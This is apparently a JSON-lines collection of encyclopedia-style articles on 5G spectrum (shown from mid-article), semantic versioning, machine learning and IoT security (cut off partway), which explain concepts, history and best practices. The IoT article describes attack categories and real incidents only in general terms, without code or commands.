GSCN has a coarser granularity than NR-ARFCN and therefore should enable a UE do a faster cell search.\n\n### Could you describe the 5G NR channel bandwidth?\n\nEach operating band may have one or more **BS channel bandwidths**. Each BS channel bandwidth supports a single RF carrier in UL or DL. Multiple **UE channel bandwidths** may be supported within the same BS channel bandwidth. \n\nOne or more resource blocks (RBs) form a UE channel bandwidth or transmission bandwidth. Each RB has 12 subcarriers. Unlike 4G where sub-carrier spacing (SCS) is fixed to 15 kHz, 5G NR allows **flexible SCS** of 15, 30 or 60 kHz (FR1); and 60 or 120 kHz (FR2). \n\nGuardbands exist at the edges of the BS channel bandwidth. Standard specifies the minimum guardband for each valid combination of SCS and BS channel bandwidth. \n\nBS channel bandwidth can take values 5, 10, 15, 20, 25, 30, 40, 50, 60, 70, 80, 90 and 100 MHz (FR1); and 50, 100, 200 and 400 MHz (FR2). However, not all values as valid for all bands. For example, 100MHz in FR1 is valid only for bands n40, n41, n77, n78, n79 and n90. \n\n\n### Could you compare FR1 and FR2 operating bands?\n\nFR1 defines bands in the sub-6 GHz spectrum (although 7125 MHz is the maximum) and FR2 defines bands in the mmWave spectrum. Because of the higher carrier frequencies in FR2, it has a higher maximum bandwidth. Bandwidths include 5-100 MHz (FR1) and 50/100/200/400 MHz (FR2). Correspondingly, valid subcarrier spacing values are also different: 15/30/60 kHz (FR1) and 60/120 kHz (FR2). In FR2, 240 kHz subcarrier spacing is allowed for only SS/PBCH with valid bandwidths 100/200/400 MHz. \n\nDownlink MIMO differs: 8x8 (FR1) and 2x2 (FR2). FR1 caters for macro cells, high mobility and many users. FR1 bands also experience multipath effects. Higher-order MIMO therefore enable **spatial multiplexing** and Multi-User MIMO (MU-MIMO). On the other hand, FR2 is for small cells, low mobility and a few users. Multipath effects are less pronounced than in FR1. Lower-order MIMO therefore enables **beamforming**. These differences imply that spectral efficiency is higher in FR1 than in FR2. \n\n\n### What's the suitability of low, mid and high-bands for 5G services?\n\nLower frequencies have better range but offer lower data rates. At mmWave spectrum, we get high data rates but waves can't get through walls, trees or even glass. Thus, there's a tradeoff between coverage and speed. It's therefore good that 5G spans a wide spectrum to suit many different use cases and deployment scenarios. \n\nLow-band spectrum can offer rural coverage. Strong indoor signals could help connect to IoT devices in smart buildings and underground parking lots. \n\nHigh-band spectrum could be ideal for short-range communications in dense urban areas and within buildings. It can cater to many high-value services in retail, healthcare, entertainment, and more. They could involve AR/VR applications. Serving thousands of users in a stadium, critical IoT applications or applications that need ultra low latency are more use cases. \n\nMid-band spectrum is a compromise of both low-band and high-band spectra. It could cover large neighbourhoods and even an entire city but probably can't serve rural areas. Smart city services can benefit from it, such as fleet management, transit services and vehicle communications. \n\n\n### What are some features that enhance the use of 5G spectrum?\n\nIt's possible for 5G to share 4G spectrum. Called **Dynamic Spectrum Sharing (DSS)**, this is an attractive option for operators who don't have licensed 5G spectrum yet. Instead of statically re-farming the spectrum, DSS allows operators to dynamically migrate more spectrum from 4G to 5G as more 5G users come into the system. DSS requires only a software upgrade.  \n\nSupported since LTE Release 10, **Carrier Aggregation (CA)** is enhanced in 5G. Multiple carriers within the same band or across bands can be combined to serve a single UE. CA allows operators to achieve better capacity, throughput and coverage in mid-band and high-band spectra. For example, low band FDD with DSS can be used in uplink for better coverage and a high band TDD in downlink for higher throughput and capacity. \n\nSupported since LTE Release 12, **Dual Connectivity (DC)** is enhanced in 5G. DC allows a UE to connect to two different cells possibly served by different gNBs. It may be an LTE or 5G cell. Whereas user plane split happens at MAC for CA, it happens at PDCP for DC. It's also possible to combine CA and DC. \n\n\n### What's the relevance of unlicensed bands for 5G?\n\nCellular use of unlicensed spectrum started in LTE. It's variants include LTE Unlicensed (LTE-U), Licensed Assisted Access (LAA) and MulteFire.  \n\nIn Release 16, **5G NR-U** allowed the use of unlicensed spectrum. In particular, NR-U supports both license-assisted and standalone use of unlicensed spectrum. It supports 5 GHz unlicensed band used by Wi-Fi and LAA. It also opens up unlicensed spectrum in the 6 GHz band. Unlicensed spectrum in the mmWave band is being studied for Release 17. \n\nSince licensed spectrum is limited, for very high bandwidth applications, aggregating with unlicensed spectrum is an attractive approach. Shared/unlicensed spectrum can enable local/private networks and Industrial IoT applications. \n\nWith **Anchored NR-U**, operators can employ carrier aggregation with 5G NR or dual connectivity with LTE. In urban hotspots, campuses and malls, this can deliver consistent user experience. With **Standalone NR-U**, operators will find it easier to deploy private networks. \n\n## Milestones\n\nNov  \n2015\n\nAt the World Radiocommunication Conference 2015 (WRC-15), delegates agree on additional spectrum for International Mobile Telecommunications (IMT). This includes **C-band** that later becomes a globally harmonized spectrum for 5G. \n\n2016\n\nSzydelko and Dryjanski publish an evolution of spectrum from LTE to 5G. Spectrum below 6 GHz and mmWave spectrum are being considered for 5G. For CA, 700 MHz is being considered for SDL. This is standardized in Release 16 (July 2020). \n\nMar  \n2017\n\nIn the US, FCC auctions 600 MHz spectrum currently used by TV stations. This spectrum will be used for LTE and 5G, with the transition expected to take 39 months. In July 2020, it's reported that 99% of the migration is complete. \n\nSep  \n2019\n\nEricsson claims the world's first 5G data call using **Dynamic Spectrum Sharing (DSS)** in low band FDD. In February 2020, with vendors Ericsson, Huawei and Qualcomm, Vodafone proves Dynamic Spectrum Sharing (DSS) in the low bands 700 MHz and 800 MHz on a non-standalone device. In June 2020, AT&T deploys DSS. Meanwhile, Nokia has claimed that DSS is nothing new to it. Years ago, it achieved 2G-4G DSS in which low-band GSM spectrum was used to expand LTE service. \n\nNov  \n2019\n\nAt the World Radiocommunication Conference 2019 (WRC-19), delegates meet and agree towards **harmonization of 5G spectrum**. In particular, 24.25-27.5, 37-43.5, 45.5-47, 47.2-48.2 and 66-71 GHz are identified. This translates to 17.25 GHz of spectrum compared to only 1.9 GHz available before this conference. Of this, 14.75 GHz of spectrum has been harmonized worldwide, reaching 85% of global harmonization. The next meeting will be WRC-23 in 2023. \n\nJun  \n2020\n\nGlobal mobile Suppliers Association (GSA) reports that 97 operators in 17 countries have public licenses to operate 5G service in mmWave spectrum. Of these, 22 operators are already operational with 24.25–29.5 GHz being the most common band. \n\nJul  \n2020\n\n3GPP finalizes **Release 16** specifications. This release adds many more bands to FR1. In FR2, n259 (39500-43500 MHz) is added.  This release also adds **NR-U** for operation in unlicensed spectrum. \n\nOct  \n2020\n\nGSA reports that operators are showing most interest in n77 and n78 (mid-band); n257, n258 and n260 (mmWave); and n28 (low-band). GSA website is also the place to track the latest in 5G spectrum news.\n\nDec  \n2020\n\nIn the US, FCC puts up for **auction** 280 MHz of spectrum in the range 3.7-3.98 GHz, known as C-band. A successful bidder will likely purchase 100 MHz of contiguous mid-band spectrum. Compared to mmWave, C-band has better propagation properties, making this an important auction for 5G operators.","meta":{"title":"5G Spectrum","href":"5g-spectrum"}}
{"text":"# Semantic Versioning\n\n## Summary\n\n\nSoftware is almost always versioned to coordinate installation, upgrades and correct interfacing with other software. While a flat linear numbering such as *123, 124, 125…* might do the job, **Semantic Versioning (SemVer)** presents a better numbering scheme. It contains more useful information. Each part of the version number has a well-defined meaning. This helps software professionals and automation tools to more easily update software versions for their applications.\n\nTraditionally, every software vendor designed their own numbering scheme, sometimes with semantics.  From the late 1990s, software became more open sourced. As applications were increasingly built from many open source components, it became essential to know and use the correct version of each component. SemVer provides a common definition.\n\nWithout a proper versioning scheme, it becomes difficult to update software and its dependencies, leading to what's often called *dependency hell*.\n\n## Discussion\n\n### Could you describe the main parts of a semantic version number?\n\nA semantic version number has three core parts, written in the form of `x.y.z`, where `x`, `y` and `z` are numbers: \n\n    + **Major**: Incremented when incompatible API changes are made. Applications and other software that use the affected APIs will break. Hence, their code have to be updated.\n    + **Minor**: Incremented when new functionality is added in a backward compatible manner. It's safe to update to a new minor version without requiring code changes. Code changes are needed only to make use of the new features.\n    + **Patch**: Incremented when backward compatible bug fixes are made. No new features are added. Some call this *micro*.As an example, consider the base version number `1.0.0`. A bug fix to an internal implementation is a patch, resulting in `1.0.1`. Suppose a new argument with default value is added to a public method, and the default value is consistent with the base version. This is a minor update, resulting in `1.1.0`. If the new argument has no default value, this is an incompatible API change, resulting in `2.0.0`. \n\n\n### Could you describe the SemVer parts about pre-release and build?\n\nSometimes we wish to release software informally to some users for testing purposes. These are called pre-releases. In SemVer, this is specified by a **hyphen** followed by one or more dot-separated **pre-release identifiers**. Identifiers can include hyphen and alphanumeric characters. For example, in `1.2.4-alpha.1`, `-alpha.1` is a pre-release part that has two pre-release identifiers. In pre-release, software may not be stable and might not satisfy the compatibility requirements implied by the normal version `1.2.4`. \n\nSometimes we wish to record build metadata such as who made the build, build machine, time of build, or checksum. In SemVer, this is specified by a **plus sign** followed by one or more dot-separated **build identifiers**. Identifiers can include hyphen and alphanumeric characters. For example, in `1.0.0-beta+exp.sha.5114f85`, `+exp.sha.5114f85` is the build part that has three build identifiers. `1.0.0+20130313144700` is an example with build information but not a pre-release. \n\nBoth pre-release and build parts are optional. Pre-release part comes before the build part. \n\n\n### What's the precedence of version numbers in SemVer?\n\nWhen upgrading from a lower to a higher version, it's important to define how version numbers should be compared. Comparison is left to right. Thus, `1.0.0 < 2.0.0 < 2.1.0 < 2.1.1`. \n\nTwo versions that differ only by the build part, have the same precedence. A pre-release version has lower precedence than its normal version. Numeric identifiers always have lower precedence than non-numeric identifiers. Thus, `1.0.0-alpha < 1.0.0-alpha.1 < 1.0.0-beta.2 < 1.0.0-beta.11 < 1.0.0-rc.1 < 1.0.0`. \n\nPrecedence is used when updating project dependencies via SemVer **ranges**. For example, in NPM projects, dependency version can be specified as: \n\n    + `1.0` or `1.0.x` to allow all patches to `1.0`; `~1.0.4` to allow patches to `1.0.4`\n    + `1` or `1.x` to allow all patches and minor updates to `1`; `^1.0.4` to allow patches and minor updates to `1.0.4`\n    + `*` or `x` to allow any update\n\n### What are the benefits of using semantic versioning?\n\nWhen an application uses and depends on many software packages, SemVer helps in using the most suitable versions of these packages. Suppose a Node.js application currently uses `2.0.0` of a certain package. Suppose more recent versions `2.1.0` and `3.0.0` are available. By specifying `^2.0.0` in the configuration file, NPM package manager will update the package to `2.1.0` but not `3.0.0` thereby preserving backward compatibility. \n\nBy using semantic version ranges, such as `^2.0.0`, `<3.0.0` or `~2.2.1`, the application benefits from package updates without any update to the configuration file. \n\nPackage developers can use SemVer to keep track of how the package has evolved and manage its lifecycle. Semantic versioning helps them to know what releases are compatible with others. SemVer also avoids dependency hell, which can happen when different versions of the same package are used by other packages in the same application. \n\n\n### Which are some well-known projects or communities using semantic versioning?\n\nWe note a few projects as examples. Node.js uses SemVer. Versioned dependencies are specified in a configuration file, such as `bower.json` (for Bower) or `package.json` (for NPM). NPM also has a useful SemVer calculator.\n\nPython uses SemVer but it allows for a more flexible use beyond the SemVer specification. For example, Python PEP 440 allows a date-based versioning scheme, such as `2012.4` or `2012.7`. It allows for alpha, beta and release candidate versions, such as `1.3a2`, `1.3b1`, and `1.3rc4`. Post-releases are allowed, such as `1.3post2` or `1.3rc4.post2`. Development releases are allowed, such as `1.3dev2`. Public version identifier is separated from local version identifier with a plus sign, such as `1.0+ubuntu.1`. \n\nComposer, a PHP dependency manager, adopts SemVer. It includes stability constraints such as `-dev` or `-stable.`. Versioned dependencies are specified in file `composer.json`. \n\n\n### Could you mention some best practices when using semantic versioning?\n\nThe version core is formed of digits 0-9 but must not contain leading zeros. Thus, `2.1.0` is fine but `2.01.0` is not. Version `0.x.y` can be used during initial development with an unstable public API. This can start with `0.1.0`. Once software enters production, it should start with `1.0.0`. \n\nSometimes we see a prefix `v`, such as in `v2.1.3`. This is often seen as **tag names** in version control systems. This is acceptable although the version number is just `2.1.3`. \n\nPackage owners/developers must attempt to avoid frequent incompatible changes. The cost of major upgrades is significant. It's important to evaluate the cost/benefit ratio before introducing incompatible changes. Some even recommend creating a new library/package name rather than making incompatible changes to an existing one. \n\nIf an incompatible change goes into a minor version by mistake, release a new minor version to restore compatibility. The incompatible changes can go into the next major release. Avoid modifying an existing release. \n\nDeprecating a public API should happen in at least one minor release before that API is removed in a subsequent major release. \n\n\n### What are some criticisms of semantic versioning?\n\nWhile the specifications are clear, putting them into practice is more difficult. It's not always clear if something is a bug fix or a new feature. For example, there's no consensus about the next version number if a new warning is added to a package. \n\nThere's no fully automated way of knowing if a change is compatible. Code reviews, golden files and automated tests can address this. For example, a Java API package has two types of users: consumers who use the API and providers who implement the API. An API change can be compatible for some users and incompatible for others. Spring Boot uses version numbers to indicate the extent of change. Adopting SemVer would lead to too many major releases. \n\nSemVer is rigid in the sense that a minor change that \"breaks\" for 1% of users will still be considered as a major change. This may be okay for robots but not for humans. Version number must give us a sense of how much of the code has changed. Ultimately, SemVer is not going to protect us completely from breaking changes. We should instead take some time and responsibly update dependencies. \n\n## Milestones\n\n1979\n\nOracle releases version 2.3 of its SQL-based RDBMS. This is just an example to show that some form of semantics is part of version numbers even in the 1970s or possibly earlier. Subsequently, Oracle evolves this numbering to the form `major.maintenance.applicationserver.component.platform`. \n\n1994\n\nLinux kernel version 1.0.0 is released. Subsequently, this project adopts a numbering system of the form `major.minor.revision.stable`. In later years, `major.minor` together represent a major stable release. Revisions to this include bug fixes, new drivers and even features. The optional `stable` part indicates stable (even numbers) or development (odd numbers) releases.  Sometimes `major` is incremented if `minor` \"gets too large\". \n\nMay  \n2010\n\nOSGi Alliance publishes a whitepaper titled *Semantic Versioning*. This versioning scheme is targeted at Java packages. A version number has four parts in this form: `major.minor.patch.qualifier`. Examples of this are `0.9.0`, `1.11.2.20100202-R32`, and `2.0.0.beta-20100202-R32`. We should note that this is not exactly same as the SemVer specifications that comes out in 2011. \n\nJun  \n2011\n\nTom Preston-Werner publishes on GitHub version 1.0.0-beta of **Semantic Versioning Specification**. Version 1.0.0 appears in September. \n\nJun  \n2013\n\nVersion 2.0.0 of Semantic Versioning Specification is published. \n\nNov  \n2015\n\nDrupal 8.0.0 is released. Starting with this version, Drupal adopts semantic versioning. In earlier versions, for example, a contributed module of version 1.0.0 might refer to 8.x-1.0 or 7.x-1.0 depending on the Drupal core version. The project's `info.yml` file resolved the ambiguity. Adopting semantic versioning simplifies this. Drupal is a PHP-based CMS. It's first version was open sourced in 2001.","meta":{"title":"Semantic Versioning","href":"semantic-versioning"}}
{"text":"# Machine Learning\n\n## Summary\n\n\n**Machine Learning** is a data-oriented technique that enables computers to learn from experience. Human experience comes from our interaction with the environment. For computers, experience is indirect. It's based on data collected from the world, data about the world. \n\nWhat we call data is really vast amounts of historical circumstances and reactions in a machine readable format. The machine (computer) learns permutations and combinations of a given circumstance and reacts appropriately. There is **uncertainty** in circumstance and hence reaction. This is the **unknown** that the machine has to learn. Machines aim to maximize the desired outcome. \n\nMachine learning due to its holistic approach can solve a broad set of problems such as object detection, voice recognition, computational biology, price forecasting, and more.\n\n## Discussion\n\n### How do machines learn?\n\nTraditionally, *intelligence* was introduced into a system **explicitly** using rules. Rules took the form of \"if this happens while in this state, do that\". These *rules* are derived from a *knowledge base* that's particular to that domain or application. However, such a rule-based system has limitations. To characterize the system completely, there could be potentially hundreds of rules. Moreover, rules come with exceptions that need to be considered as well. This is clearly not manageable for complex systems. \n\nMachine Learning takes a different approach. Instead of working on pre-defined rules, machines look at large amounts of data. For each data point, they take note of the associated response. They do this for sufficient amount of data and thereby **implicitly** learn the rules. These implicit rules can be described in terms of *features* and *outcomes*.\n\nFor machines to learn properly, relevant and wide-ranging data should be made available. Data should cover all possible scenarios. Data is typically split into *training dataset* and *testing dataset*. Machines learn from the former set. The latter is used exclusively to validate the model. The learning process is not linear. It's self-correcting and iterative.\n\n\n### What are the different Machine Learning types?\n\nLearning takes place based on what worked through historical events (*asynchronous learning*) and on what is accepted in contemporary events (*synchronous learning*).\n\nWhen machine is trained using historical data, the learnings can be classified as **Supervised** and **Unsupervised** learning: \n\n    + **Supervised Learning** uses a self-correcting feedback loop. The expectation is labelled. For instance, Temperature, Moisture and Humidity (called *features*) can be used to predict the chance of rain in the next 24 hours. Historic data that include Temperature, Moisture and Humidity are recorded and labelled as 'Rain' or 'Not Rain' depending on whether it rained or not rained in the following 24 hours. This is called *Classification* problem. The system can also be designed to learn the amount of rain. This is called *Regression* problem.\n    + **Unsupervised Learning** becomes useful when labelled datasets are not available. Without explicit instructions, model attempts to find structure in the data. Clustering, anomaly detection, association, autoencoders are different ways to organized data.AI systems use synchronous learning to reward/penalise right/wrong decisions and prevent future mishaps. **Reinforcement Learning** is concurrently applied in the decision process as a result of series of actions.\n\n\n### How does ML differ from regression modelling?\n\nBy purpose, ML is for predictions whereas regression is to infer relationships between variables. But this is oversimplifying the truth. Regression can also be used for predictions. In general, statistical models are easier to interpret. They use all of the data towards building the model, whereas ML partitions the dataset into training and test sets. \n\nLinear regression comes from statistics and may be considered \"too simple\" to be treated as an ML approach. However, ridge or lasso regression are derived from linear regression, and these are commonly used by ML researchers. It's therefore sensible to include regression in an ML toolbox. In fact, understanding data should be the main goal and both statistical and ML models should be seen as tools. \n\nStatistical modelling is highly contextual and with assumptions. For instance, the math behind linear regression and logistic regression are very different. Machine learning generalizes them under supervised learning and optimizes for minimum error. All machines use numerical math techniques to iteratively solve for unknown parameters.\n\n\n### What is feature engineering and why is it important?\n\n**Feature engineering** comes after data is cleaned and transformed. Feature engineering is arriving at relevant variables that relate to solving the problem at hand. Feature engineering is done by **domain experts** who understand what each variable means, how to interpret it and how it relates to other variables.\n\nA dataset will typically contain one or more variables or features. Some of these may influence the outcome. For example, temperature and humidity may be features that influence the chance of rain in the next six hours. The data may also contain the time of day or day of the week but these are features that probably don't influence the chance of rain. \n\nThe job of an ML engineer is therefore to identify the right features for the problem. The selected features add up to the outcome of model. The accuracy of the ML model directly depends on features the ML engineer has chosen. Good features make modelling a simpler task. Bad features would result in a complicated model. \n\n\n### How does ML add value to Big Data?\n\nA Forrester report from 2016 showed that 60-73% of all big data within enterprises are not used for analytics. In 2018, a report by DataRPM on the Industrial Internet-of-Things (IIoT) showed that 85% of sensor data collected from trillions of data points are unused. Manual analysis is impossible. The use of ML can unlock the value in this data. \n\nToday's data coming from the mobile and web include video, audio, image and text. In addition, lots of data come from sensors in automotive and healthcare verticals. Historic data in financial services or retail help ML algorithms discover patterns. Problems that rely on such data can be modelled better with the help of ML.\n\nIn fact, ML likes large volumes and variety of data. In an ideal case, ML has access to lots of data collected in diverse scenarios. This enables efficient and holistic learning.\n\n\n### What kind of problems can be solved with ML?\n\nBroadly, the following problems are solved with ML: \n\n    + **Regression**: This is the task of predicting a continuous quantity. Here, predictions are often made for quantities, such as amounts and sizes. For example, a house may be predicted to sell for a specific dollar value, perhaps in the range of $100,000 to $200,000.\n    + **Classification**: This is the task of predicting a discrete class label. For example, 1. an email of text can be classified as belonging to one of two classes: 'spam' and 'not spam', 2. image classification problems where there could be thousands classes (cat, dog, fish, car, etc.).\n\n### What's the approach to solving ML Problems?\n\nIn a typical ML pipeline we would classify the problem, gather data, process data, model the problem, execute the models, validate results, and deploy the solution. \n\nOnce you have defined the problem and outlined the features, you then need to split the data in a way that's easy to test. You split this data in a **70 (train) : 30 (test)** ratio. 70% with which machines learns and 30% where it tests learning. The training data is modelled for validation. This model needs to be validated with testing dataset and evaluated against multiple models to find the best model. \n\nThe idea of splitting data into training and test datasets can be traced to the *Common Task Framework*. \n\nIt's important to have an acceptable accuracy percentage (say, 60%+) across both training and testing datasets. If the accuracy rate isn't high enough or not consistent across the two datasets, then the ML process should be repeated with different or modified features.\n\n\n### What is overfitting in the context of ML?\n\nOften we read too much into past. We're surprised to see that history didn't repeat itself. This could happen either because response is specific to one particular circumstance or there's too little data. When this happens in ML, we call it *overfitting*. \n\nThe possibility of overfitting exists because the criterion used for selecting the model may not be the same as the criterion used to judge the suitability of a model. For example, a model might be selected by maximizing its performance on some set of training data, and yet its suitability must be determined by its ability to perform well on unseen data. We can state that overfitting occurs when a model has **memorized** training data rather than **learned** to generalize from a trend. \n\n\n### Could you compare or contrast Machine Learning (ML), Deep Learning (DL) and Artificial Intelligence (AI)?\n\nThis is better explained through an example. ML is about learning a task. For instance, a self-driving car learns many tasks: to brake or not to brake, speed up or slow down, turn the steering wheel, indicator functions, etc. While ML learns all these tasks separately, AI executes them in a coordinated manner, rewards good decisions, and penalises wrong decisions. AI also accounts for contextual information that may not be part of ML. Thus, ML is an approach to realizing AI. \n\nDL is special case of ML and it's inspired by how neurons in the human brain process information. While ML learns once, DL does it in multiple stages. ML expects features to be provided at the input. DL discovers features on its own. When problems are complex, DL does better than ML. For example, recognizing a human may involve identifying basic features (eyes, ears, hands, legs, etc.) at stage 1; and identifying higher order features (face, upper body, lower body, etc.) in stage 2; and finally calling it out as 'Human' in stage 3.\n\n\n### How to improve the accuracy of ML models?\n\n \n\n    + **Ensemble** methods are techniques that create multiple models and then combine them to produce better results. For example, a candidate goes through multiple rounds of job interviews. Although a single interviewer might not be able to test the candidate for each required skill and trait, the combined feedback of multiple interviewers usually helps in better assessment of the candidate.\n    + **Bagging (Bootstrap Aggregating)** is an ensemble method. First, we create random samples of the training dataset (subsets of the training dataset). We build a classifier for each sample. Finally, results of these multiple classifiers are combined using averaging or majority voting. Bagging helps to reduce the variance error.\n    + **Boosting**: The first predictor starts by classifying original dataset with equal weights to each observation. If classes are predicted incorrectly using the first learner, then it gives higher weight to the wrongly classified observation for the successive learner. Being an iterative process, it continues to add classifier learner until a limit is reached in the number of models or accuracy. Boosting has shown better predictive accuracy than bagging, but tends to overfit the training data.\n\n### In what scenarios are ML not applicable or has failed?\n\nML is applied in diverse fields where plenty of data is available. There are scenarios where ML has challenges, but constant endeavor ensures improved accuracy and increased acceptability. In the accompanying figure we can see how **ImageNet** ML algorithms have evolved for better accuracy. \n\nFailure of ML can be attributed to **incorrect problem formulation**, **wrong choice of features** or **inappropriate algorithms**. \n\nML algorithms can become **biased** due to various reasons. For example, an algorithm that sees only men writing code and only women in kitchen in its training data will naturally become biased. In a real-world case of bias, Google Allo once responded with a turban emoji when shown a gun emoji. Google Translate showed gender bias in Turkish-English translations. Amazon's AI-based recruiting tool was found to be favour male candidates. \n\nOther failures of AI/ML happened in 2018. Uber's self-driving car killed a pedestrian. IBM's Watson AI Health has failed to impress doctors. \n\n## Milestones\n\n1950\n\nAlan Turing creates the *Turing Test* in which a computer must attempt to pass itself of as a human to other humans. In June 2014, a robot named Eugene passes this test by convincing 33% of the judges. A more difficult variant called *Loebner Prize* requires that more than 50% of the judges be convinced after a 25-min conversation. As of March 2018, no robot has won the prize. \n\n1952\n\nArthur Samuel writes the first learning program. Applied to the game of checkers, the program is able to learn from mistakes and improve its gameplay with each new game. By mid-1970s, the program beats humans at checkers. Board games are useful in developing ML because they are understandable and complex. \n\n1957\n\nJust as the human brain is composed of interconnected neurons, Frank Rosenblatt designs the first artificial neural network called the *perceptron*. The idea is to solve complex problems through a series of simple decisions. Rosenblatt applies it for doing image recognition. \n\n1967\n\nThe *Nearest Neighbour* algorithm is created and applied to map routing. This starts the field of pattern recognition. \n\n1979\n\nInvented by researchers at Stanford University, a robot now named the *Stanford Cart* is able to navigate obstacles in a room on its own. \n\n1981\n\nGerald Dejong invents *Explanation Based Learning*. Computer uses data to train itself and create a rule to achieve a given goal. It discards information irrelevant to the problem. This is a type of supervised learning. In general, the 1980s is the decade of expert systems that are based on rules. \n\n1990\n\nThe 1990s is the decade when approach to ML shifts from being knowledge driven to data driven. This is supported through the next two decades with greater availability of data, cloud computing and big data technologies.\n\n2006\n\nGeoffrey Hinton coins the term *Deep Learning (DL)* to describe new architectures of neural networks. This approach is applied to image recognition. \n\n2012\n\nThe Google Brain project uses DL to detect visual patterns. Google X project applies Google Brain to YouTube videos to identity frames that contain cats. Geoffrey Hinton leads a team and wins ImageNet's computer vision contest by a large margin. This popularizes DL. In the coming years, DL becomes an important technique to create models with much better accuracy. This is the decade when DL becomes feasible. \n\n2015\n\nGoogle's AlphaGo uses ML to beat professional player Lee Sedol in a challenging board game called Go. \n\n2017\n\nGoogle Brain chief Jeff Dean states that DL starts to work with at least 100,000 data points. This underscores the importance of data availability for DL.","meta":{"title":"Machine Learning","href":"machine-learning"}}
{"text":"# IoT Security\n\n## Summary\n\n\nThe Internet of Things brings together not just computers but also sensors, cameras and controllers that are connected to vehicles, medical devices, power grids, nuclear plants, and many more critical infrastructure. Securing IoT is therefore a big concern since an attack can be life threatening. An insecure IoT system leads to lower safety, privacy and availability.\n\nSince the mid-2010s, researchers have analyzed IoT systems to identify potential vulnerabilities and possible solutions for the same. Given IoT's large attack surface, better security can be achieved only by securing all parts of the system: from devices to apps, from APIs to network endpoints. \n\nIn 2018, Gartner reported that 40% of smart home appliances are in use for botnet attacks. In 2021, 84% of surveyed companies reported an IoT security breach. Clearly, there's much work to be done.\n\n## Discussion\n\n### What are some potential attacks in various IoT verticals?\n\nIoT systems can be hacked regardless of the vertical in which they operate. Consumer appliances,  industrial facilities, connected cars, drones, video surveillance systems, power grids and utilities, smart buildings, city infrastructure and transportation systems, medical devices and hospitals, and retail stores are some examples of what can be attacked. We describe a few of these.\n\nIn a connected home, an attacker can see sensitive data sent from a wearable, perform illegal video surveillance, profile individuals, gain control over door locks and sensors, or render appliances inoperable. \n\nWith connected and semi-autonomous cars, hackers can remotely steal vehicles. They can also gain control of a vehicle when it's on a freeway. \n\nIn industrial systems, PLCs and SCADA systems could be targeted. This can halt critical operations, cause accidents or install spyware. Attacks on critical infrastructure such as nuclear power plants can be catastrophic. In one experiment, a software-enabled gun was configured to prevent firing or miss its target. \n\nIn hospitals, patient data could be stolen. Interfering with the operation of a pacemaker or changing dosage can cause death. \n\n\n### Could you mention some real-world attacks on IoT devices and systems?\n\nResearchers have studied vulnerabilities and possible exploits on IoT devices and systems. Some of these include St. Jude Medical's cardiac implants, Owlet Wi-Fi baby heart monitors, TRENDnet webcams, and Jeep SUVs. Ignoring these research findings, we focus on real-world attacks instead.\n\nIn October 2016, Dyn servers experienced a DDoS attack by the Mirai botnet, affecting many commercial websites. Mirai made use of digital cameras and DVR players. The attack involved 100,000 malicious endpoints resulting in an attack strength of 1.2Tbps.  \n\nStuxnet (botnet) attacked industrial systems back in 2010. . In 2015, 230,000 people were without power in Western Ukraine when an electrical power grid was attacked. In 2021, an attack on the water supply to Oldsmar, Florida changed the level of sodium hydroxide. Fortunately, operators spotted the change and took corrective action. \n\nRing doorbells come with a mobile app. In January 2020, the app was reported to leak personally identifiable information to third parties. In December 2020, we came to know of attacks on Ring smart cameras. Hackers could speak to their victims \"screaming obscenities, demanding ransoms, and threatening murder and sexual assault.\" \n\n\n### What are the common security vulnerabilities in IoT?\n\nWe note the following vulnerabilities: \n\n    + **Weak, guessable, or hardcoded passwords**: Dictionary and brute force attacks can exploit this vulnerability. Devices many also have unchangeable credentials and firmware backdoors.\n    + **Insecure network services**: Connected devices may have ports open or services running that aren't required.\n    + **Insecure ecosystem interfaces**: Outside the device, there's an ecosystem of interfaces, APIs, gateways, cloud services and mobile apps. Any of these can be compromised.\n    + **Lack of secure update mechanism**: Updates are risky if done without firmware validation, payload is unencrypted, there's no rollback or notifications. In many cases, vendors don't patch the firmware even for known vulnerabilities.\n    + **Use of insecure or outdated components**: Third-party components are commonly used in today's systems. Software and hardware supply chains could be compromised.\n    + **Insufficient privacy protection**: Personal information is stored insecurely or used improperly.\n    + **Insecure data transfer and storage**: Data is not encrypted during storage, transmission or processing.\n    + **Lack of device management**: This concerns asset management, update management, secure decommissioning, monitoring and response.\n    + **Insecure default settings**: Factory settings are often insecure or even disallow changes to more secure settings.\n    + **Lack of physical hardening**: Devices are hacked in close proximity, thereby enabling remote hacking.\n\n### Could you elaborate on the different types of IoT security attacks?\n\nIoT attacks can be broadly classified by the layer in which they occur:  \n\n    + **Physical Attacks**: Concern hardware elements and happen in close proximity to the device. Device tampering, physical damage, or draining battery via sleep deprivation are examples.\n    + **Software Attacks**: Buffer overflows, code injection and cross-site scripting are typical techniques. A hacker typically scans for vulnerable devices, infects them, and then steals data or makes devices inoperable.\n    + **Network Attacks**: Can attack remotely via network connections. Sinkhole attack discard packets rather than forwarding them. Man-in-the-middle attack is often employed to attack Wi-Fi routers. Spoofing is another technique in which a malicious devices presents itself as an authenticated one.\n    + **Encryption Attacks**: Even when data is encrypted, side-channel and cryptanalysis attacks are techniques to figure out encryption keys.Ultimately, IoT's attack surface is large. An attack can happen on an end device such as a connected thermostat, on its wireless network, on the network's access point, on the ISP gateway or an app that's communicating with the thermostat. \n\n\n### Could you share some best practices for better IoT security?\n\nMany of the best practices can be directly derived from the common IoT security vulnerabilities. Security is an **end-to-end concern** and devices, network, APIs, cloud services and apps — all need to be secured. \n\nNetwork endpoints and interfaces should be secured with firewalls, anti-malware, and intrusion prevention and detection systems. For authenticating users and devices, use two-factor authentication, biometrics, Public Key Infrastructure (PKI) and X.509 digital certificates. Data should be encrypted along with mature key lifecycle management. Analytics must be specialized for IoT security with a plan to recover from attacks.  Minimize device bandwidth. \n\n**Security by Design** is an approach to factor in security at the start of an IoT project. Device IDs and credentials can be embedded during manufacturing. This may be called the Root-of-Trust (RoT) from which other keys and credentials are generated. Micron's Authenta is an example of securing flash memory, thus \"hardening\" the device against attacks. \n\nSystems should be designed with countermeasures against Simple Power Analysis (SPA) and Differential Power Analysis (DPA) that exploit emissions from semiconductor devices. \n\n\n### What are some challenges in securing IoT systems?\n\nOne challenge with securing IoT is the sheer number and variety of devices, in their billions. The IoT ecosystem is complex and consists of sensor devices, network nodes, many communication protocols, and regulations. If an attack should occur, it's also not clear who should be held accountable: equipment vendor, system integrator, service provider, or the user. \n\nBusinesses are rushing to implement or adopt IoT-enabled data collection and analytics. They're doing this without considering security. When new ventures fail, their devices are abandoned without support or security updates. Even otherwise, many consumers have never done updates on their devices. Worse still, many devices don't even have a user interface to perform updates. \n\nMany IoT devices are designed to be cheap and 